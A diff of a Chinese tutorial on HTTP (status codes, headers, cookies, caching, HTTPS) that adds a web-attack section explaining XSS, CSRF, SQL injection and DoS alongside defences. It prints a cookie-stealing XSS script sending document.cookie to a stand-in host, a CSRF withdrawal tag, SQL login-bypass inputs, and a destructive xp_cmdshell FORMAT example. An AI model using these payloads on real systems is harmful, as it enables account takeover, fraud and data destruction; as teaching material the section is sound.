- **304 Not Modified** :如果请求报文首部包含一些条件,例如:If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since,如果不满足条件,则服务器会返回 304 状态码。
|
||||
|
||||
- **307 Temporary Redirect** :临时重定向,与 302 的含义类似,但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
|
||||
|
||||
## 4XX 客户端错误
|
||||
|
||||
- **400 Bad Request** :请求报文中存在语法错误
|
||||
- **400 Bad Request** :请求报文中存在语法错误。
|
||||
|
||||
- **401 Unauthorized** :该状态码表示发送的请求需要有通过 HTTP 认证(BASIC 认证、DIGEST 认证)的认证信息。如果之前已进行过一次请求,则表示用户认证失败。
|
||||
|
||||
<div align="center"> <img src="../pics//b1b4cf7d-c54a-4ff1-9741-cd2eea331123.jpg"/> </div><br>
|
||||
- **401 Unauthorized** :该状态码表示发送的请求需要有认证信息(BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。
|
||||
|
||||
- **403 Forbidden** :请求被拒绝,服务器端没有必要给出拒绝的详细理由。
|
||||
|
||||
@ -176,11 +234,11 @@ TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing
|
||||
|
||||
## 5XX 服务器错误
|
||||
|
||||
- **500 Internal Server Error** :服务器正在执行请求时发生错误
|
||||
- **500 Internal Server Error** :服务器正在执行请求时发生错误。
|
||||
|
||||
- **503 Service Unavilable** :该状态码表明服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。
|
||||
- **503 Service Unavilable** :服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。
|
||||
|
||||
# HTTP 首部
|
||||
# 四、HTTP 首部
|
||||
|
||||
有 4 种类型的首部字段:通用首部字段、请求首部字段、响应首部字段和实体首部字段。
|
||||
|
||||
@ -189,9 +247,9 @@ TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing
|
||||
## 通用首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| -- | -- |
|
||||
| :--: | :--: |
|
||||
| Cache-Control | 控制缓存的行为 |
|
||||
| Connection | 逐跳首部、 连接的管理 |
|
||||
| Connection | 控制不再转发给代理的首部字段、管理持久连接|
|
||||
| Date | 创建报文的日期时间 |
|
||||
| Pragma | 报文指令 |
|
||||
| Trailer | 报文末端的首部一览 |
|
||||
@ -203,7 +261,7 @@ TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing
|
||||
## 请求首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| -- | -- |
|
||||
| :--: | :--: |
|
||||
| Accept | 用户代理可处理的媒体类型 |
|
||||
| Accept-Charset | 优先的字符集 |
|
||||
| Accept-Encoding | 优先的内容编码 |
|
||||
@ -227,7 +285,7 @@ TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing
|
||||
## 响应首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| -- | -- |
|
||||
| :--: | :--: |
|
||||
| Accept-Ranges | 是否接受字节范围请求 |
|
||||
| Age | 推算资源创建经过时间 |
|
||||
| ETag | 资源的匹配信息 |
|
||||
@ -241,11 +299,11 @@ TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing
|
||||
## 实体首部字段
|
||||
|
||||
| 首部字段名 | 说明 |
|
||||
| -- | -- |
|
||||
| :--: | :--: |
|
||||
| Allow | 资源可支持的 HTTP 方法 |
|
||||
| Content-Encoding | 实体主体适用的编码方式 |
|
||||
| Content-Language | 实体主体的自然语言 |
|
||||
| Content-Length | 实体主体的大小(单位: 字节) |
|
||||
| Content-Length | 实体主体的大小 |
|
||||
| Content-Location | 替代对应资源的 URI |
|
||||
| Content-MD5 | 实体主体的报文摘要 |
|
||||
| Content-Range | 实体主体的位置范围 |
|
||||
@ -253,80 +311,169 @@ TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing
|
||||
| Expires | 实体主体过期的日期时间 |
|
||||
| Last-Modified | 资源的最后修改日期时间 |
|
||||
|
||||
# 具体应用
|
||||
# 五、具体应用
|
||||
|
||||
## Cookie
|
||||
|
||||
HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单,使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
|
||||
|
||||
服务器发送的响应报文包含 Set-Cookie 字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。下次再发送请求时,从浏览器中读出 Cookie 值,在请求报文中包含 Cookie 字段,这样服务器就知道客户端的状态信息了。Cookie 状态信息保存在客户端浏览器中,而不是服务器上。
|
||||
Cookie 是服务器发送给客户端的数据,该数据会被保存在浏览器中,并且客户端的下一次请求报文会包含该数据。通过 Cookie 可以让服务器知道两个请求是否来自于同一个客户端,从而实现保持登录状态等功能。
|
||||
|
||||
<div align="center"> <img src="../pics//ff17c103-750a-4bb8-9afa-576327023af9.png"/> </div><br>
|
||||
### 1. 创建过程
|
||||
|
||||
Set-Cookie 字段有以下属性:
|
||||
服务器发送的响应报文包含 Set-Cookie 字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。
|
||||
|
||||
```html
|
||||
HTTP/1.0 200 OK
|
||||
Content-type: text/html
|
||||
Set-Cookie: yummy_cookie=choco
|
||||
Set-Cookie: tasty_cookie=strawberry
|
||||
|
||||
[page content]
|
||||
```
|
||||
|
||||
客户端之后发送请求时,会从浏览器中读出 Cookie 值,在请求报文中包含 Cookie 字段。
|
||||
|
||||
```html
|
||||
GET /sample_page.html HTTP/1.1
|
||||
Host: www.example.org
|
||||
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
|
||||
```
|
||||
|
||||
### 2. 分类
|
||||
|
||||
- 会话期 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。
|
||||
- 持久性 Cookie:指定一个特定的过期时间(Expires)或有效期(Max-Age)之后就成为了持久性的 Cookie。
|
||||
|
||||
```html
|
||||
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
|
||||
```
|
||||
|
||||
### 3. Set-Cookie
|
||||
|
||||
| 属性 | 说明 |
|
||||
| -- | -- |
|
||||
| :--: | -- |
|
||||
| NAME=VALUE | 赋予 Cookie 的名称和其值(必需项) |
|
||||
| expires=DATE | Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止) |
|
||||
| path=PATH | 将服务器上的文件目录作为 Cookie 的适用对象(若不指定则默认为文档所在的文件目录) |
|
||||
| domain= 域名 | 作为 Cookie 适用对象的域名(若不指定则默认为创建 Cookie 的服务器的域名) |
|
||||
| Secure | 仅在 HTTPS 安全通信时才会发送 Cookie |
|
||||
| domain=域名 | 作为 Cookie 适用对象的域名(若不指定则默认为创建 Cookie 的服务器的域名) |
|
||||
| Secure | 仅在 HTTPs 安全通信时才会发送 Cookie |
|
||||
| HttpOnly | 加以限制,使 Cookie 不能被 JavaScript 脚本访问 |
|
||||
|
||||
**Session 和 Cookie 区别**
|
||||
### 4. Session 和 Cookie 区别
|
||||
|
||||
Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识:Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文就包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的,Session 用于服务器端,Cookie 用于客户端。
|
||||
Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识:Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的,Session 用于服务器端,Cookie 用于客户端。
|
||||
|
||||
**浏览器禁用 Cookie 的情况**
|
||||
### 5. 浏览器禁用 Cookie 的情况
|
||||
|
||||
会使用 URL 重写技术,在 URL 后面加上 sid=xxx 。
|
||||
|
||||
**使用 Cookie 实现用户名和密码的自动填写**
|
||||
### 6. 使用 Cookie 实现用户名和密码的自动填写
|
||||
|
||||
网站脚本会自动从 Cookie 中读取用户名和密码,从而实现自动填写。
|
||||
网站脚本会自动从保存在浏览器中的 Cookie 读取用户名和密码,从而实现自动填写。
|
||||
|
||||
但是如果 Set-Cookie 指定了 HttpOnly 属性,就无法通过 Javascript 脚本获取 Cookie 信息,这是出于安全性考虑。
|
||||
|
||||
## 缓存
|
||||
|
||||
有两种缓存方法:让代理服务器进行缓存和让客户端浏览器进行缓存。
|
||||
### 1. 优点
|
||||
|
||||
Cache-Control 用于控制缓存的行为。Cache-Control: no-cache 有两种含义,如果是客户端向缓存服务器发送的请求报文中含有该指令,表示客户端不想要缓存的资源;如果是源服务器向缓存服务器发送的响应报文中含有该指令,表示缓存服务器不能对资源进行缓存。
|
||||
1. 降低服务器的负担;
|
||||
2. 提高响应速度(缓存资源比服务器上的资源离客户端更近)。
|
||||
|
||||
Expires 字段可以用于告知缓存服务器该资源什么时候会过期。当首部字段 Cache-Control 有指定 max-age 指令时,比起首部字段 Expires,会优先处理 max-age 指令。
|
||||
### 2. 实现方法
|
||||
|
||||
1. 让代理服务器进行缓存;
|
||||
2. 让客户端浏览器进行缓存。
|
||||
|
||||
### 3. Cache-Control 字段
|
||||
|
||||
HTTP 通过 Cache-Control 首部字段来控制缓存。
|
||||
|
||||
```html
|
||||
Cache-Control: private, max-age=0, no-cache
|
||||
```
|
||||
|
||||
### 4. no-cache 指令
|
||||
|
||||
该指令出现在请求报文的 Cache-Control 字段中,表示缓存服务器需要先向原服务器验证缓存资源是否过期;
|
||||
|
||||
该指令出现在响应报文的 Cache-Control 字段中,表示缓存服务器在进行缓存之前需要先验证缓存资源的有效性。
|
||||
|
||||
### 5. no-store 指令
|
||||
|
||||
该指令表示缓存服务器不能对请求或响应的任何一部分进行缓存。
|
||||
|
||||
no-cache 不表示不缓存,而是缓存之前需要先进行验证,no-store 才是不进行缓存。
|
||||
|
||||
### 6. max-age 指令
|
||||
|
||||
该指令出现在请求报文的 Cache-Control 字段中,如果缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。
|
||||
|
||||
该指令出现在响应报文的 Cache-Control 字段中,表示缓存资源在缓存服务器中保存的时间。
|
||||
|
||||
Expires 字段也可以用于告知缓存服务器该资源什么时候会过期。在 HTTP/1.1 中,会优先处理 Cache-Control : max-age 指令;而在 HTTP/1.0 中,Cache-Control : max-age 指令会被忽略掉。
|
||||
|
||||
## 持久连接
|
||||
|
||||
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源,如果每进行一次 HTTP 通信就要断开一次 TCP 连接,连接建立和断开的开销会很大。 **持久连接** 只需要进行一次 TCP 连接就能进行多次 HTTP 通信。HTTP/1.1 开始,所有的连接默认都是持久连接。
|
||||
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源,如果每进行一次 HTTP 通信就要断开一次 TCP 连接,连接建立和断开的开销会很大。持久连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
|
||||
|
||||
<div align="center"> <img src="../pics//c73a0b78-5f46-4d2d-a009-dab2a999b5d8.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//450px-HTTP_persistent_connection.svg.png" width=""/> </div><br>
|
||||
|
||||
持久连接需要使用 Connection 首部字段进行管理。HTTP/1.1 开始 HTTP 默认是持久化连接的,如果要断开 TCP 连接,需要由客户端或者服务器端提出断开,使用 Connection: close;而在 HTTP/1.1 之前默认是非持久化连接的,如果要维持持续连接,需要使用 Keep-Alive。
|
||||
持久连接需要使用 Connection 首部字段进行管理。HTTP/1.1 开始 HTTP 默认是持久化连接的,如果要断开 TCP 连接,需要由客户端或者服务器端提出断开,使用 Connection : close;而在 HTTP/1.1 之前默认是非持久化连接的,如果要维持持续连接,需要使用 Connection : Keep-Alive。
|
||||
|
||||
管线化方式可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
|
||||
## 管线化处理
|
||||
|
||||
<div align="center"> <img src="../pics//6943e2af-5a70-4004-8bee-b33d60f39da3.jpg"/> </div><br>
|
||||
HTTP/1.1 支持管线化处理,可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
|
||||
|
||||
## 编码
|
||||
|
||||
编码(Encoding)主要是为了对实体进行压缩。常用的编码有:gzip、compress、deflate、identity,其中 identity 表示不执行压缩的编码格式。
|
||||
|
||||
## 分块传输
|
||||
## 分块传输编码
|
||||
|
||||
分块传输(Chunked Transfer Coding)可以把数据分割成多块,让浏览器逐步显示页面。
|
||||
Chunked Transfer Coding,可以把数据分割成多块,让浏览器逐步显示页面。
|
||||
|
||||
## 多部分对象集合
|
||||
|
||||
一份报文主体内可含有多种类型的实体同时发送,每个部分之间用 boundary 字段定义的分隔符进行分隔;每个部分都可以有首部字段。
|
||||
一份报文主体内可含有多种类型的实体同时发送,每个部分之间用 boundary 字段定义的分隔符进行分隔,每个部分都可以有首部字段。
|
||||
|
||||
例如,上传多个表单时可以使用如下方式:
|
||||
|
||||
<div align="center"> <img src="../pics//2279cc60-9714-4e0e-aac9-4c348e0c2165.png"/> </div><br>
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=AaB03x
|
||||
|
||||
--AaB03x
|
||||
Content-Disposition: form-data; name="submit-name"
|
||||
|
||||
Larry
|
||||
--AaB03x
|
||||
Content-Disposition: form-data; name="files"; filename="file1.txt"
|
||||
Content-Type: text/plain
|
||||
|
||||
... contents of file1.txt ...
|
||||
--AaB03x--
|
||||
```
|
||||
|
||||
## 范围请求
|
||||
|
||||
如果网络出现中断,服务器只发送了一部分数据,范围请求使得客户端能够只请求未发送的那部分数据,从而避免服务器端重新发送所有数据。
|
||||
|
||||
在请求报文首部中添加 Range 字段,然后指定请求的范围,例如 Range:bytes=5001-10000。请求成功的话服务器发送 206 Partial Content 状态。
|
||||
在请求报文首部中添加 Range 字段指定请求的范围,请求成功的话服务器发送 206 Partial Content 状态。
|
||||
|
||||
```html
|
||||
GET /z4d4kWk.jpg HTTP/1.1
|
||||
Host: i.imgur.com
|
||||
Range: bytes=0-1023
|
||||
```
|
||||
|
||||
```html
|
||||
HTTP/1.1 206 Partial Content
|
||||
Content-Range: bytes 0-1023/146515
|
||||
Content-Length: 1024
|
||||
...
|
||||
(binary content)
|
||||
```
|
||||
|
||||
## 内容协商
|
||||
|
||||
@ -336,33 +483,33 @@ Expires 字段可以用于告知缓存服务器该资源什么时候会过期。
|
||||
|
||||
## 虚拟主机
|
||||
|
||||
使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
|
||||
HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
|
||||
|
||||
使用 Host 首部字段进行处理。
|
||||
|
||||
## 通信数据转发
|
||||
|
||||
**代理**
|
||||
### 1. 代理
|
||||
|
||||
代理服务器接受客户端的请求,并且转发给其它服务器。
|
||||
|
||||
代理服务器一般是透明的,不会改变 URL。
|
||||
|
||||
使用代理的主要目的是:缓存、网络访问控制以及访问日志记录。
|
||||
|
||||
<div align="center"> <img src="../pics//c07035c3-a9ba-4508-8e3c-d8ae4c6ee9ee.jpg"/> </div><br>
|
||||
代理服务器分为正向代理和反向代理两种,用户察觉得到正向代理的存在,而反向代理一般位于内部网络中,用户察觉不到。
|
||||
|
||||
**网关**
|
||||
<div align="center"> <img src="../pics//a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
|
||||
|
||||
### 2. 网关
|
||||
|
||||
与代理服务器不同的是,网关服务器会将 HTTP 转化为其它协议进行通信,从而请求其它非 HTTP 服务器的服务。
|
||||
|
||||
<div align="center"> <img src="../pics//81375888-6be1-476f-9521-42eea3e3154f.jpg"/> </div><br>
|
||||
### 3. 隧道
|
||||
|
||||
**隧道**
|
||||
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。隧道本身不去解析 HTTP 请求。
|
||||
|
||||
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。
|
||||
|
||||
<div align="center"> <img src="../pics//64b95403-d976-421a-8b45-bac89c0b5185.jpg"/> </div><br>
|
||||
|
||||
# HTTPs
|
||||
# 六、HTTPs
|
||||
|
||||
HTTP 有以下安全性问题:
|
||||
|
||||
@ -370,40 +517,334 @@ HTTP 有以下安全性问题:
|
||||
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
|
||||
3. 无法证明报文的完整性,报文有可能遭篡改。
|
||||
|
||||
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Socket Layer)通信,再由 SSL 和 TCP 通信。通过使用 SSL,HTTPs 提供了加密、认证和完整性保护。
|
||||
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
|
||||
|
||||
通过使用 SSL,HTTPs 具有了加密、认证和完整性保护。
|
||||
|
||||
<div align="center"> <img src="../pics//ssl-offloading.jpg" width="700"/> </div><br>
|
||||
|
||||
## 加密
|
||||
|
||||
有两种加密方式:对称密钥加密和公开密钥加密。对称密钥加密的加密和解密使用同一密钥,而公开密钥加密使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
||||
### 1. 对称密钥加密
|
||||
|
||||
对称密钥加密的缺点:无法安全传输密钥;公开密钥加密的缺点:相对来说更耗时。
|
||||
对称密钥加密(Symmetric-Key Encryption),加密的加密和解密使用同一密钥。
|
||||
|
||||
HTTPs 采用 **混合的加密机制** ,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。(下图中,共享密钥即对称密钥)
|
||||
- 优点:运算速度快;
|
||||
- 缺点:密钥容易被获取。
|
||||
|
||||
<div align="center"> <img src="../pics//110b1a9b-87cd-45c3-a21d-824623715b33.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
|
||||
|
||||
### 2. 公开密钥加密
|
||||
|
||||
公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
||||
|
||||
- 优点:更为安全;
|
||||
- 缺点:运算速度慢;
|
||||
|
||||
<div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
|
||||
|
||||
### 3. HTTPs 采用的加密方式
|
||||
|
||||
HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。(下图中的 Session Key 就是对称密钥)
|
||||
|
||||
<div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br>
|
||||
|
||||
## 认证
|
||||
|
||||
通过使用 **证书** 来对通信方进行认证。证书中有公开密钥数据,如果可以验证公开密钥的确属于通信方的,那么就可以确定通信方是可靠的。
|
||||
通过使用 **证书** 来对通信方进行认证。
|
||||
|
||||
数字证书认证机构(CA,Certificate Authority)可以对其颁发的公开密钥证书对其进行验证。
|
||||
数字证书认证机构(CA,Certificate Authority)是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请,CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。
|
||||
|
||||
进行 HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,就可以开始通信。
|
||||
进行 HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,先进行验证,如果验证通过,就可以开始通信。
|
||||
|
||||
<div align="center"> <img src="../pics//mutualssl_small.png" width=""/> </div><br>
|
||||
|
||||
使用 OpenSSL 这套开源程序,每个人都可以构建一套属于自己的认证机构,从而自己给自己颁发服务器证书。浏览器在访问该服务器时,会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。
|
||||
|
||||
客户端证书需要用户自行安装,只有在业务需要非常高的安全性时才使用客户端证书,例如网上银行。
|
||||
|
||||
## 完整性
|
||||
|
||||
SSL 提供摘要功能来验证完整性。
|
||||
SSL 提供报文摘要功能来验证完整性。
|
||||
|
||||
# HTTP/1.0 与 HTTP/1.1 的区别
|
||||
# 七、Web 攻击技术
|
||||
|
||||
HTTP/1.1 新增了以下内容:
|
||||
## 攻击模式
|
||||
|
||||
- 默认为长连接;
|
||||
- 提供了范围请求功能;
|
||||
- 提供了虚拟主机的功能;
|
||||
- 多了一些缓存处理字段;
|
||||
- 多了一些状态码;
|
||||
### 1. 主动攻击
|
||||
|
||||
直接攻击服务器,具有代表性的有 SQL 注入和 OS 命令注入。
|
||||
|
||||
### 2. 被动攻击
|
||||
|
||||
设下圈套,让用户发送有攻击代码的 HTTP 请求,用户会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
|
||||
|
||||
## 跨站脚本攻击
|
||||
|
||||
### 1. 概念
|
||||
|
||||
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 Cookie 等各种内容。
|
||||
|
||||
例如有一个论坛网站,攻击者可以在上面发表以下内容:
|
||||
|
||||
```
|
||||
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
||||
```
|
||||
|
||||
之后该内容可能会被渲染成以下形式:
|
||||
|
||||
```
|
||||
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
||||
```
|
||||
|
||||
另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
|
||||
|
||||
### 2. 危害
|
||||
|
||||
- 伪造虚假的输入表单骗取个人信息
|
||||
- 窃取用户的 Cookie 值
|
||||
- 显示伪造的文章或者图片
|
||||
|
||||
### 3. 防范手段
|
||||
|
||||
(一)过滤特殊字符
|
||||
|
||||
许多语言都提供了对 HTML 的过滤:
|
||||
|
||||
- PHP 的 htmlentities() 或是 htmlspecialchars()。
|
||||
- Python 的 cgi.escape()。
|
||||
- Java 的 xssprotect (Open Source Library)。
|
||||
- Node.js 的 node-validator。
|
||||
|
||||
(二)指定 HTTP 的 Content-Type
|
||||
|
||||
通过这种方式,可以避免内容被当成 HTML 解析,比如 PHP 语言可以使用以下代码:
|
||||
|
||||
```php
|
||||
<?php
|
||||
header('Content-Type: text/javascript; charset=utf-8');
|
||||
?>
|
||||
```
|
||||
|
||||
## 跨站点请求伪造
|
||||
|
||||
### 1. 概念
|
||||
|
||||
跨站点请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
|
||||
|
||||
假如一家银行用以执行转账操作的 URL 地址如下:
|
||||
|
||||
```
|
||||
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
|
||||
```
|
||||
|
||||
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
|
||||
|
||||
```
|
||||
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
|
||||
```
|
||||
|
||||
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
|
||||
|
||||
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
|
||||
|
||||
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
|
||||
|
||||
### 2. 防范手段
|
||||
|
||||
(一)检查 Referer 字段
|
||||
|
||||
HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下。
|
||||
|
||||
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
|
||||
|
||||
(二)添加校验 Token
|
||||
|
||||
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
|
||||
|
||||
## SQL 注入攻击
|
||||
|
||||
### 1. 概念
|
||||
|
||||
服务器上的数据库运行非法的 SQL 语句。
|
||||
|
||||
### 2. 攻击原理
|
||||
|
||||
例如一个网站登录验证的 SQL 查询代码为:
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
|
||||
```
|
||||
|
||||
如果填入以下内容:
|
||||
|
||||
```sql
|
||||
userName = "1' OR '1'='1";
|
||||
passWord = "1' OR '1'='1";
|
||||
```
|
||||
|
||||
那么 SQL 查询字符串为:
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
|
||||
```
|
||||
|
||||
此时无需验证通过就能执行以下查询:
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users;"
|
||||
```
|
||||
|
||||
### 3. 危害
|
||||
|
||||
- 数据表中的数据外泄,例如个人机密数据,账户数据,密码等。
|
||||
- 数据结构被黑客探知,得以做进一步攻击(例如 SELECT * FROM sys.tables)。
|
||||
- 数据库服务器被攻击,系统管理员账户被窜改(例如 ALTER LOGIN sa WITH PASSWORD='xxxxxx')。
|
||||
- 获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及 XSS 等。
|
||||
- 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如 xp_cmdshell "net stop iisadmin" 可停止服务器的 IIS 服务)。
|
||||
- 破坏硬盘数据,瘫痪全系统(例如 xp_cmdshell "FORMAT C:")。
|
||||
|
||||
### 4. 防范手段
|
||||
|
||||
- 在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。
|
||||
- 在组合 SQL 字符串时,先针对所传入的参数作字符取代(将单引号字符取代为连续 2 个单引号字符)。
|
||||
- 如果使用 PHP 开发网页程序的话,亦可打开 PHP 的魔术引号(Magic quote)功能(自动将所有的网页传入参数,将单引号字符取代为连续 2 个单引号字符)。
|
||||
- 其他,使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件,例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。
|
||||
- 使用 SQL 防注入系统。
|
||||
|
||||
## 拒绝服务攻击
|
||||
|
||||
### 1. 概念
|
||||
|
||||
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
||||
|
||||
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
||||
|
||||
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
||||
|
||||
# 八、GET 和 POST 的区别
|
||||
|
||||
## 参数
|
||||
|
||||
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体中。
|
||||
|
||||
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
||||
|
||||
```
|
||||
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
|
||||
```
|
||||
|
||||
```
|
||||
POST /test/demo_form.asp HTTP/1.1
|
||||
